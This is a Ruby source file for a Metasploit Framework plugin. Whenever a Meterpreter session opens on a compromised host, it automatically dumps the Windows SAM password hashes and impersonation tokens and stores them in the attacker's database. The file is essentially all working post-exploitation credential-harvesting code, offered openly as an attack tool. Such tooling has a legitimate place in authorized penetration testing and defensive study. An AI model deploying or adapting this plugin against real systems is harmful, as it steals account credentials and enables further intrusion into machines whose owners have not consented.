metasploit-gs/plugins/db_credcollect.rb

# credcollect - tebo[at]attackresearch.com

module Msf
  class Plugin::CredCollect < Msf::Plugin
    include Msf::SessionEvent

    class CredCollectCommandDispatcher
      include Msf::Ui::Console::CommandDispatcher

      def name
        'credcollect'
      end

      def commands
        {
          'db_hashes' => "Dumps hashes (deprecated: use 'creds -s smb')",
          'db_tokens' => "Dumps tokens (deprecated: use 'notes -t smb_token')"
        }
      end

      def cmd_db_hashes
        print_error ''
        print_error "db_hashes is deprecated. Use 'creds -s smb' instead."
        print_error ''
      end

      def cmd_db_tokens
        print_error ''
        print_error "db_tokens is deprecated. Use 'notes -t smb_token' instead."
        print_error ''
      end

    end

    def on_session_open(session)
      return if !framework.db.active

      print_status('This is CredCollect, I have the conn!')

      if (session.type == 'meterpreter')

        # Make sure we're rockin Priv and Incognito
        session.core.use('priv')
        session.core.use('incognito')

        # It wasn't me mom! Stinko did it!
        hashes = session.priv.sam_hashes

        # Target infos for the db record
        addr = session.sock.peerhost
        # This ought to read from the exploit's datastore.
        # Use the meterpreter script if you need to control it.
        smb_port = 445

        # Record hashes to the running db instance
        hashes.each do |hash|
          data = {}
          data[:host] = addr
          data[:port] = smb_port
          data[:sname] = 'smb'
          data[:user] = hash.user_name
          data[:pass] = hash.lanman + ':' + hash.ntlm
          data[:type] = 'smb_hash'
          data[:active] = true

          framework.db.report_auth_info(data)
        end

        # Record user tokens
        tokens = session.incognito.incognito_list_tokens(0).values
        # Meh, tokens come to us as a formatted string
        tokens = tokens.join.strip!.split("\n")

        tokens.each do |token|
          data = {}
          data[:host] = addr
          data[:type] = 'smb_token'
          data[:data] = token
          data[:update] = :unique_data

          framework.db.report_note(data)
        end
      end
    end

    def on_session_close(session, reason = ''); end

    def initialize(framework, opts)
      super
      self.framework.events.add_session_subscriber(self)
      add_console_dispatcher(CredCollectCommandDispatcher)
    end

    def cleanup
      framework.events.remove_session_subscriber(self)
      remove_console_dispatcher('credcollect')
    end

    def name
      'db_credcollect'
    end

    def desc
      'Automatically grab hashes and tokens from Meterpreter session events and store them in the database'
    end

  end
end